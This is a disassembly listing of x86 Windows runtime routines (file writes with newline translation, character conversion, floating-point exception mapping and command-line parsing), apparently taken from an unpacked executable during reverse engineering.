loc_42301E:				; CODE XREF: sub_422FA3+50j
		test	dl, 80h
		jnz	short loc_423035
		mov	dword_4DBE2C, 16h


loc_42302D:				; CODE XREF: sub_422FA3+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_4230F6
; ---------------------------------------------------------------------------


loc_423035:				; CODE XREF: sub_422FA3+68j
					; sub_422FA3+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_423043
		mov	eax, [ebp+var_8]
		jmp	loc_4230F6
; ---------------------------------------------------------------------------


loc_423043:				; CODE XREF: sub_422FA3+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_4230EE
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42305C
		and	[ebp+var_8], edx
		jmp	loc_4230EE
; ---------------------------------------------------------------------------


loc_42305C:				; CODE XREF: sub_422FA3+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD0A0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_4230E8
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4230AF
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_42309A:				; CODE XREF: sub_422FA3+104j
		cmp	eax, ecx
		jnb	short loc_4230A9
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4230A6
		inc	[ebp+arg_0]


loc_4230A6:				; CODE XREF: sub_422FA3+FEj
		inc	eax
		jmp	short loc_42309A
; ---------------------------------------------------------------------------


loc_4230A9:				; CODE XREF: sub_422FA3+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_4230E3
; ---------------------------------------------------------------------------


loc_4230AF:				; CODE XREF: sub_422FA3+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_422F09
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4230D6
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4230D6
		test	ch, 4
		jz	short loc_4230D9


loc_4230D6:				; CODE XREF: sub_422FA3+124j
					; sub_422FA3+12Cj
		mov	eax, [edi+18h]


loc_4230D9:				; CODE XREF: sub_422FA3+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_4230E3:				; CODE XREF: sub_422FA3+10Aj
		jz	short loc_4230E8
		inc	[ebp+arg_0]


loc_4230E8:				; CODE XREF: sub_422FA3+D9j
					; sub_422FA3:loc_4230E3j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_4230EE:				; CODE XREF: sub_422FA3+A4j
					; sub_422FA3+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_4230F6:				; CODE XREF: sub_422FA3+3Cj
					; sub_422FA3+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422FA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4230FB	proc near		; CODE XREF: sub_41DB54+A2p
					; sub_41E42B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DD1A0
		push	esi
		push	edi
		jnb	loc_42328F
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD0A0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_42328F
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42314C


loc_423145:				; CODE XREF: sub_4230FB+177j
		xor	eax, eax
		jmp	loc_4232A3
; ---------------------------------------------------------------------------


loc_42314C:				; CODE XREF: sub_4230FB+48j
		test	al, 20h
		jz	short loc_42315C
		push	2
		push	edi
		push	ecx
		call	sub_422F09
		add	esp, 0Ch


loc_42315C:				; CODE XREF: sub_4230FB+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_42322B
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_423263


loc_42317C:				; CODE XREF: sub_4230FB+F5j
		lea	eax, [ebp+var_414]


loc_423182:				; CODE XREF: sub_4230FB+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4231B6
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4231A1
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_4231A1:				; CODE XREF: sub_4230FB+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_423182


loc_4231B6:				; CODE XREF: sub_4230FB+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2710000h
		test	eax, eax
		jz	short loc_423220
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_4231F2
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42317C


loc_4231F2:				; CODE XREF: sub_4230FB+EAj
					; sub_4230FB+12Ej
		xor	edi, edi


loc_4231F4:				; CODE XREF: sub_4230FB+150j
					; sub_4230FB+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_42328A
		cmp	[ebp+arg_0], edi
		jz	short loc_423263
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_423258
		mov	dword_4DBE2C, 9
		mov	dword_4DBE30, eax
		jmp	loc_4232A0
; ---------------------------------------------------------------------------


loc_423220:				; CODE XREF: sub_4230FB+E0j
		call	near ptr 2680E92h
		nop
		mov	[ebp+arg_0], eax
		jmp	short loc_4231F2
; ---------------------------------------------------------------------------


loc_42322B:				; CODE XREF: sub_4230FB+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 2710000h
		test	eax, eax
		jz	short loc_42324D
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_4231F4
; ---------------------------------------------------------------------------


loc_42324D:				; CODE XREF: sub_4230FB+145j
		nop
		call	near ptr 2680E92h
		mov	[ebp+arg_0], eax
		jmp	short loc_4231F4
; ---------------------------------------------------------------------------


loc_423258:				; CODE XREF: sub_4230FB+10Fj
		push	[ebp+arg_0]
		call	sub_420C7F
		pop	ecx
		jmp	short loc_4232A0
; ---------------------------------------------------------------------------


loc_423263:				; CODE XREF: sub_4230FB+7Bj
					; sub_4230FB+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_423278
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_423145


loc_423278:				; CODE XREF: sub_4230FB+16Fj
		mov	dword_4DBE2C, 1Ch
		mov	dword_4DBE30, edi
		jmp	short loc_4232A0
; ---------------------------------------------------------------------------


loc_42328A:				; CODE XREF: sub_4230FB+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_4232A3
; ---------------------------------------------------------------------------


loc_42328F:				; CODE XREF: sub_4230FB+15j
					; sub_4230FB+37j
		and	dword_4DBE30, 0
		mov	dword_4DBE2C, 9


loc_4232A0:				; CODE XREF: sub_4230FB+120j
					; sub_4230FB+166j ...
		or	eax, 0FFFFFFFFh


loc_4232A3:				; CODE XREF: sub_4230FB+4Cj
					; sub_4230FB+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4230FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4232A8	proc near		; CODE XREF: sub_41DE4A+47p
					; sub_41DE4A+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427928
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DBEC8, edi
		jnz	short loc_42331E
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427920
		mov	esi, 100h
		push	esi
		push	edi
		call	near ptr 2630000h
		nop
		test	eax, eax
		jz	short loc_4232FC
		mov	dword_4DBEC8, ebx
		jmp	short loc_42331E
; ---------------------------------------------------------------------------


loc_4232FC:				; CODE XREF: sub_4232A8+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset word_4CB8DC
		push	esi
		push	edi
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	loc_423436
		mov	dword_4DBEC8, 2


loc_42331E:				; CODE XREF: sub_4232A8+2Ej
					; sub_4232A8+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_423333
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4234CC
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_423333:				; CODE XREF: sub_4232A8+79j
		mov	eax, dword_4DBEC8
		cmp	eax, 2
		jnz	short loc_42335A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		jmp	loc_423438
; ---------------------------------------------------------------------------


loc_42335A:				; CODE XREF: sub_4232A8+93j
		cmp	eax, 1
		jnz	loc_423436
		cmp	[ebp+arg_18], edi
		jnz	short loc_423370
		mov	eax, dword_4DBEE4
		mov	[ebp+arg_18], eax


loc_423370:				; CODE XREF: sub_4232A8+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 26F0000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_423436
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4233CB
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_4233CB:				; CODE XREF: sub_4232A8+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_423436
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	near ptr 26F0000h
		nop
		test	eax, eax
		jz	short loc_423436
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2630000h
		nop
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_423436
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_42344A
		cmp	[ebp+arg_14], edi
		jz	loc_4234C5
		cmp	esi, [ebp+arg_14]
		jg	short loc_423436
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2630000h
		test	eax, eax
		jnz	loc_4234C5


loc_423436:				; CODE XREF: sub_4232A8+66j
					; sub_4232A8+B5j ...
		xor	eax, eax


loc_423438:				; CODE XREF: sub_4232A8+ADj
					; sub_4232A8+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42344A:				; CODE XREF: sub_4232A8+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42347E
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_42347E:				; CODE XREF: sub_4232A8+1C2j
		cmp	ebx, edi
		jz	short loc_423436
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2630000h
		test	eax, eax
		jz	short loc_423436
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_4234A5
		push	edi
		push	edi
		jmp	short loc_4234AB
; ---------------------------------------------------------------------------


loc_4234A5:				; CODE XREF: sub_4232A8+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_4234AB:				; CODE XREF: sub_4232A8+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	near ptr 28410E3h
		nop
		mov	esi, eax
		cmp	esi, edi
		jz	loc_423436


loc_4234C5:				; CODE XREF: sub_4232A8+165j
					; sub_4232A8+188j
		mov	eax, esi
		jmp	loc_423438
sub_4232A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4234CC	proc near		; CODE XREF: sub_4232A8+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_4234E9


loc_4234DC:				; CODE XREF: sub_4234CC+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_4234E9
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_4234DC


loc_4234E9:				; CODE XREF: sub_4234CC+Ej
					; sub_4234CC+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4234F4
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4234F4:				; CODE XREF: sub_4234CC+21j
		mov	eax, edx
		retn
sub_4234CC	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_423638
		test	eax, eax
		pop	ecx
		jz	loc_42362C
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_42362C
		cmp	ebx, 5
		jnz	short loc_423528
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_423635
; ---------------------------------------------------------------------------


loc_423528:				; CODE XREF: ___:0042351Aj
		cmp	ebx, 1
		jz	loc_423627
		mov	ecx, dword_4DBEEC
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4DBEEC, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_423617
		mov	ecx, dword_43D510
		mov	edx, dword_43D514
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_423577
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43D4A0h[esi*4]


loc_42356E:				; CODE XREF: ___:00423575j
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_42356E


loc_423577:				; CODE XREF: ___:00423560j
		mov	eax, [eax]
		mov	esi, dword_43D51C
		cmp	eax, 0C000008Eh
		jnz	short loc_423592
		mov	dword_43D51C, 83h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_423592:				; CODE XREF: ___:00423584j
		cmp	eax, 0C0000090h
		jnz	short loc_4235A5
		mov	dword_43D51C, 81h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235A5:				; CODE XREF: ___:00423597j
		cmp	eax, 0C0000091h
		jnz	short loc_4235B8
		mov	dword_43D51C, 84h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235B8:				; CODE XREF: ___:004235AAj
		cmp	eax, 0C0000093h
		jnz	short loc_4235CB
		mov	dword_43D51C, 85h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235CB:				; CODE XREF: ___:004235BDj
		cmp	eax, 0C000008Dh
		jnz	short loc_4235DE
		mov	dword_43D51C, 82h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235DE:				; CODE XREF: ___:004235D0j
		cmp	eax, 0C000008Fh
		jnz	short loc_4235F1
		mov	dword_43D51C, 86h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235F1:				; CODE XREF: ___:004235E3j
		cmp	eax, 0C0000092h
		jnz	short loc_423602
		mov	dword_43D51C, 8Ah


loc_423602:				; CODE XREF: ___:00423590j
					; ___:004235A3j ...
		push	dword_43D51C
		push	8
		call	ebx
		pop	ecx
		mov	dword_43D51C, esi
		pop	ecx
		pop	esi
		jmp	short loc_42361F
; ---------------------------------------------------------------------------


loc_423617:				; CODE XREF: ___:00423549j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_42361F:				; CODE XREF: ___:00423615j
		mov	eax, [ebp+8]
		mov	dword_4DBEEC, eax


loc_423627:				; CODE XREF: ___:0042352Bj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423635
; ---------------------------------------------------------------------------


loc_42362C:				; CODE XREF: ___:00423506j
					; ___:00423511j
		push	dword ptr [ebp+0Ch]
		nop
		call	near ptr 262073Eh


loc_423635:				; CODE XREF: ___:00423523j
					; ___:0042362Aj
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_423638	proc near		; CODE XREF: ___:004234FEp

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D518
		cmp	dword_43D498, edx
		push	esi
		mov	eax, offset dword_43D498
		jz	short loc_423665
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43D498h[esi*4]


loc_42365A:				; CODE XREF: sub_423638+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_423665
		cmp	[eax], edx
		jnz	short loc_42365A


loc_423665:				; CODE XREF: sub_423638+16j
					; sub_423638+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43D498h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_423678
		cmp	[eax], edx
		jz	short locret_42367A


loc_423678:				; CODE XREF: sub_423638+3Aj
		xor	eax, eax

locret_42367A:				; CODE XREF: sub_423638+3Ej
		retn
sub_423638	endp

; ---------------------------------------------------------------------------
		cmp	dword_4DD3F4, 0
		jnz	short loc_423689
		call	sub_420B0D


loc_423689:				; CODE XREF: ___:00423682j
		push	esi
		mov	esi, dword_4DD3EC
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_4236BB


loc_423696:				; CODE XREF: ___:004236AEj
					; ___:004236B1j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_4236B3
		test	al, al
		jz	short loc_4236B3
		movzx	eax, al
		push	eax
		call	sub_424FE7
		test	eax, eax
		pop	ecx
		jz	short loc_423696
		inc	esi
		jmp	short loc_423696
; ---------------------------------------------------------------------------


loc_4236B3:				; CODE XREF: ___:0042369Cj
					; ___:004236A0j
		cmp	byte ptr [esi],	22h
		jnz	short loc_4236C5


loc_4236B8:				; CODE XREF: ___:004236CDj
		inc	esi
		jmp	short loc_4236C5
; ---------------------------------------------------------------------------


loc_4236BB:				; CODE XREF: ___:00423694j
		cmp	al, 20h
		jbe	short loc_4236C5


loc_4236BF:				; CODE XREF: ___:004236C3j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_4236BF


loc_4236C5:				; CODE XREF: ___:004236B6j
					; ___:004236B9j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_4236CF
		cmp	al, 20h
		jbe	short loc_4236B8


loc_4236CF:				; CODE XREF: ___:004236C9j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DD3F4, ebx
		push	esi
		push	edi
		jnz	short loc_4236E5
		call	sub_420B0D


loc_4236E5:				; CODE XREF: ___:004236DEj
		mov	esi, dword_4DBE84
		xor	edi, edi


loc_4236ED:				; CODE XREF: ___:00423703j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_423705
		cmp	al, 3Dh
		jz	short loc_4236F8
		inc	edi


loc_4236F8:				; CODE XREF: ___:004236F5j
		push	esi
		call	sub_41B9C0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_4236ED
; ---------------------------------------------------------------------------


loc_423705:				; CODE XREF: ___:004236F1j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DBE54, esi
		jnz	short loc_423727
		push	9
		call	sub_41E2C9
		pop	ecx


loc_423727:				; CODE XREF: ___:0042371Dj
		mov	edi, dword_4DBE84
		cmp	[edi], bl
		jz	short loc_42376A
		push	ebp


loc_423732:				; CODE XREF: ___:00423767j
		push	edi
		call	sub_41B9C0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_423763
		push	ebp
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_423756
		push	9
		call	sub_41E2C9
		pop	ecx


loc_423756:				; CODE XREF: ___:0042374Cj
		push	edi
		push	dword ptr [esi]
		call	sub_41C890
		pop	ecx
		add	esi, 4
		pop	ecx


loc_423763:				; CODE XREF: ___:0042373Fj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_423732
		pop	ebp


loc_42376A:				; CODE XREF: ___:0042372Fj
		push	dword_4DBE84
		call	sub_41BA91
		pop	ecx
		mov	dword_4DBE84, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DD3F0, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DD3F4, ebx
		push	esi
		push	edi
		jnz	short loc_4237A3
		call	sub_420B0D


loc_4237A3:				; CODE XREF: ___:0042379Cj
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	near ptr 2670343h
		nop
		mov	eax, dword_4DD3EC
		mov	off_4DBE64, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_4237C8
		mov	edi, eax


loc_4237C8:				; CODE XREF: ___:004237C4j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_423825
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41BEB5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_4237F8
		push	8
		call	sub_41E2C9
		pop	ecx


loc_4237F8:				; CODE XREF: ___:004237EEj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_423825
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4DBE4C, esi
		pop	edi
		pop	esi
		mov	dword_4DBE48, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423825	proc near		; CODE XREF: ___:004237D3p
					; ___:00423809p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_42384F
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_42384F:				; CODE XREF: sub_423825+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_423898


loc_423854:				; CODE XREF: sub_423825+58j
					; sub_423825+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_423886
		test	dl, dl
		jz	short loc_423886
		movzx	edx, dl
		test	byte_4DD2C1[edx], 4
		jz	short loc_423879
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423879
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_423879:				; CODE XREF: sub_423825+46j
					; sub_423825+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423854
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_423854
; ---------------------------------------------------------------------------


loc_423886:				; CODE XREF: sub_423825+36j
					; sub_423825+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423890
		and	byte ptr [esi],	0
		inc	esi


loc_423890:				; CODE XREF: sub_423825+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4238DB
		inc	eax
		jmp	short loc_4238DB
; ---------------------------------------------------------------------------


loc_423898:				; CODE XREF: sub_423825+2Dj
					; sub_423825+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4238A3
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_4238A3:				; CODE XREF: sub_423825+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DD2C1[ebx], 4
		jz	short loc_4238BE
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4238BD
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_4238BD:				; CODE XREF: sub_423825+91j
		inc	eax


loc_4238BE:				; CODE XREF: sub_423825+8Bj
		cmp	dl, 20h
		jz	short loc_4238CC
		test	dl, dl
		jz	short loc_4238D0
		cmp	dl, 9
		jnz	short loc_423898


loc_4238CC:				; CODE XREF: sub_423825+9Cj
		test	dl, dl
		jnz	short loc_4238D3


loc_4238D0:				; CODE XREF: sub_423825+A0j
		dec	eax
		jmp	short loc_4238DB
; ---------------------------------------------------------------------------


loc_4238D3:				; CODE XREF: sub_423825+A9j
		test	esi, esi
		jz	short loc_4238DB
		and	byte ptr [esi-1], 0


loc_4238DB:				; CODE XREF: sub_423825+6Ej
					; sub_423825+71j ...
		and	[ebp+arg_10], 0


loc_4238DF:				; CODE XREF: sub_423825+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4239C8


loc_4238E8:				; CODE XREF: sub_423825+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4238F4
		cmp	dl, 9
		jnz	short loc_4238F7


loc_4238F4:				; CODE XREF: sub_423825+C8j
		inc	eax
		jmp	short loc_4238E8
; ---------------------------------------------------------------------------


loc_4238F7:				; CODE XREF: sub_423825+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4239C8
		test	edi, edi
		jz	short loc_42390C
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_42390C:				; CODE XREF: sub_423825+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_423911:				; CODE XREF: sub_423825+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_42391A:				; CODE XREF: sub_423825+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_423923
		inc	eax
		inc	ebx
		jmp	short loc_42391A
; ---------------------------------------------------------------------------


loc_423923:				; CODE XREF: sub_423825+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_423954
		test	bl, 1
		jnz	short loc_423952
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423941
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423941
		mov	eax, edx
		jmp	short loc_423944
; ---------------------------------------------------------------------------


loc_423941:				; CODE XREF: sub_423825+10Dj
					; sub_423825+116j
